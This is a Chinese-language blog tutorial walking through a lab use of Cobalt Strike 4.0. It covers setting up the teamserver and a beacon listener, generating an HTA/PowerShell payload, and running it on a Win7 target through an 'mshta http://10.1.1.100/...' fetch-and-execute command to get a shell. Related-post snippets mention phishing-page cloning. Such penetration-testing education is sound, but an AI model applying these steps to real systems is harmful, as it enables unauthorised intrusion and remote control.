简学-CobaltStrike 的使用(一)
Cobalt Strike 的使用(一)
- 0x00 实验环境
- 0x01 安装并运行 Cobalt Strike
- 0x02 监听目标机并选择攻击途径
- 0x03 通过 Cobalt Strike 生成攻击脚本拿到目标的shell
- 0x04 查看日志输出报告
本文是对 Cobalt Strike 进行初步认识与使用的简单总结,并完成了一次从启动服务端到拿到shell生成渗透测试报告的测试实验,边使用边学习。还有很多不足,请见谅。
Cobalt Strike的相关信息:
Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
CobaltStrike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。
0x00 实验环境
- 服务器:kali(需要你的系统安装好 Java 环境)
- 靶机:win7
- 本次实验采用虚拟机进行,因此为了方便 服务端与客户端使用的是同一个系统 kali
0x01 安装并运行 Cobalt Strike
- 工具下载:Cobalt Strike 4.0
- 你可以选择在 windows 上下载,然后通过 xftp 上传至系统。
- 再次重复,需要 Linux 系统上安装好 JAVA 环境。相关配置可以自行查阅 linux 下安装 openjdk。
- 下载完压缩包后,通过如下命令将工具解压到指定目录,
-d
选项可以指定解压目录。
unzip [压缩包所在路径] -d [目标路径]# 如:unzip cobaltstrike.zip -d [目标路径]
- 进入解压的文件夹,使用如下命令[1]对文件 teamserver 设置执行权限,随后使用如下命令[2]将本机作为服务器端运行 cobaltstrike
# 进入文件目录cd /home/cobaltstrike
# 设置文件执行权限 命令[1]chmod 777 teamserver
# 开启客户端 命令[2]./teamserver 10.1.1.100 [password] 密码自定义
- 实验环境限制,因此将攻击机既做客户端,又作为服务器
- 新开一个命令行窗口,运行 cobaltstrike 的客户端。使用如下命令[1]。
- port默认为50050,在启动服务端的时候通过回显也可以得知。如果更改了 teamserver 文件里的 server_port 值那么在此处就需要改成对应的。
# 命令[1]java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
- 所有都设置好后,点击 Connect 启动客户端。这里是校验 hash ,第一次连接时会出现,这里的hash等于前面的启动 teamserver 时的 hash ,直接点击‘是’即可。
0x02 监听目标机并选择攻击途径
- 启动工具后,界面如下:
- 首先创建一个 listener,左上角的
cobaltstrike->listeners
,打开后可以看到如下界面,点击Add
添加一个新的 listener。
- Name:可以自定义设置
- Payload:主要分为
beacon
和foreign
两大类- Beacon:为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上;其中包含DNS、HTTP、SMB。
- Foreign:为外部结合的Listener,常用于MSF的结合,例如获取meterpreter到MSF上。
- 这里以上图默认的为例
- Host:为kali本机的ip
- Port:可以也可以随意
- 设置完成后,点击 save 保存,随后弹窗,点击确定即可。
- 确定后如下所示,创建了一个监听器,接下来我们选择攻击途径,如图所示采用HTML 应用的途径攻击。
- 然后选择方法,分别是
可执行文件
,powershell
,vb程序
,这里我们选择powershell,然后点击 generate 生成,我们可以选择生成的路径。选择完成后点击保存。
0x03 通过 Cobalt Strike 生成攻击脚本拿到目标的shell
- 紧接着上面的步骤,在我们保存完后,利用WEB 服务,打开渠道,选择
host file
。
- 在file一行选择之前生成的hta文件,点击launch即可生成链接,这条链接将用于我们执行本次攻击。
- 切换到 目标机 上,打开cmd,执行 mshta 命令。mshta.exe是微软Windows操作系统相关程序,用于执行
.hta
文件。(正常操作应该是通过钓鱼或者其他手段,让目标机将文件下载到目标机上并执行)
# 命令格式mshta [上述生成文件的路径]
# 示例:mshta http://10.1.1.100:80/download/file.ext
- 右击目标机,选择
interact
打开交互界面
- 然后使用CS工具的命令,对目标进行相关操作,如下展示命令:
- 可以看到,通过
help shell
查看命令格式为:
# CS工具的命令格式shell [命令] [参数]
# 查看目标ip地址shell ipconfig
0x04 查看日志输出报告
- 我们一些的操作,都可以通过服务端的日志记录文件 log 进行查看
- 当然,作为一次完整的渗透测试,必不可少的就是报告
- Cobalt Strike 支持生成的报告很多种,我们以活动报告 active report 为例,如下图选中后生成,设置完文件格式后,点击export导出,这里我们采用默认设置。
- 保存后,到该目录下打开生成的pdf报告查看,由于我们的测试非常的简略,因此生成的报告内容非常的少,可以看到第二页给出了我们的具体活动的时间与行为。
- 这样有利于梳理攻击者的 Kill chain ,以及进行复盘,帮助被测试的公司明确安全短板。
- 至此,使用 cobaltstrike 的一次典型的过程结束了,我们回顾一下:启动服务端->在客户端连接服务端->创建listener->创建攻击载荷->投递载荷->靶机下载执行->靶机上线->拿到shell->生成渗透测试报告
有任何问题欢迎评论区留言,上文若是信息有误,评论区随便吐槽,看必回!
简学-CobaltStrike 的使用(一)相关推荐
- 简学-CobaltStrike 的使用(三)
CobaltStrike 的使用(三) 进行网站克隆 对钓鱼网页的链接进行伪装 学习使用 CS 进行一次钓鱼攻击实验. 本次实验环境: 攻击机 kali 10.1.1.100 靶机 win7 10.1 ...
- burp 调试_Burp插件分享及编译简学Wildcard+
点击上方"蓝字"关注我们了解更多精彩0x00 Prefaceburpsuite作为本菜日常测试工具中的主角,他被我添加了很多的扩展插件,结果当然就是标签栏超胖. 作为一个追求美 ...
- 简学Python第二章__巧学数据结构文件操作
Python第二章__巧学数据结构文件操作 欢迎加入Linux_Python学习群 群号:478616847 目录: 列表 元祖 索引 字典 序列 文件操作 编码与文件方法 本站开始将引入一个新的概 ...
- 二进制_简学:二进制数制的应用
设现有正整数150,二进制形式为10010110,现有如下题目,求其尽可能简单的解法. 题目一:判断该正整数是否是2的乘方: 解法: 由上表可以看出2的乘方的二进制形式只有一个bit为1,因此判断一个 ...
- python归一化 增大差异_简学Python第六章__class面向对象编程与异常处理
Python第六章__class面向对象编程与异常处理 欢迎加入Linux_Python学习群 群号:478616847 目录: 面向对象的程序设计 类和对象 封装 继承与派生 多态与多态性 特性pr ...
- java实验报告合肥工业大学_合肥工业大学数据结构上机实验代码与实验报告(全)github地址...
C++实现链队类--合肥工业大学数据结构实验5:链式队列 实验5 5.1 实验目的 熟练掌握队列的顺序链式存储结构. 熟练掌握队列的有关算法设计,并在链队列上实现. 根据具体给定的需求,合理设计并实现 ...
- 避免在JSP中写java代码
作者:蜗牛学院CTO李懿老师 自从十年前的taglibs(如JSTL)和EL(表达语言,这些事情)诞生以来,在JSP中使用scriptlet(<% %>这些东西)的确是非常不鼓励的. 小 ...
- 重磅:2019年全国普通高校学科竞赛排行榜出炉!
2020年2月22日,由中国高等教育学会<高校竞赛评估与管理体系研究>专家工作组研发的2015-2019年和2019年全国普通高校学科竞赛排行结果与大家正式见面.其中,包含本科院校榜单12 ...
- camx模型_【推荐】基于CAMx的空气质量模拟及污染来源解析技术
关注并转发本文章至朋友圈或科研群3小时以上,截图联系文末客服即可免费参加海报免费课程,快动动您的小手转发起来! 各企事业单位: 随着我国经济快速发展,我国面临着日益严重的大气污染问题.大气污染是工农业 ...
最新文章
- 取出url中的字符_如何在JavaScript中解析URL:例如主机名,路径名,查询,哈希?...
- 指定python 版本安装相关插件
- linux:内核中断
- 定时采用ajax方式获得数据库,《基于Ajax的在线客服系统的设计与实现》-毕业设计论文(学术).doc...
- 用 Linux 和 Apache Hadoop 进行云计算
- [问题解决]基于注解配置dubbo遇到ConnectionLoss for /dubbo/xxx问题解决
- python二维散点分布图_深入理解皮尔逊相关系数amp;python代码
- 禁止IE页面自动跳转到EDGE浏览器的方法教程
- linux中负载值为多少正常_Linux系统中load average平均负载
- 企业最喜欢招聘什么样的Java程序员?谈谈我的看法
- java steam 排序_Java使用Steams VS TreeMap对地图进行排序
- Eclipse下maven使用嵌入式(Embedded)Neo4j创建Hello World项目
- Windows Phone 7之初体验(四.平台架构简介)
- ZOJ1003 Crashing Balloon【水题】
- 【234期门诊集锦】全面了解 VMware View 5 虚拟桌面
- Java集合---HashMap源码剖析
- 卡尔曼滤波原理与应用
- python中shift函数_Pandas Shift函数的基础入门学习笔记
- S32K144_FTM定时器中断
- STM32L431(CubeMX)使用DHT11读取环境温度与湿度并通过串口打印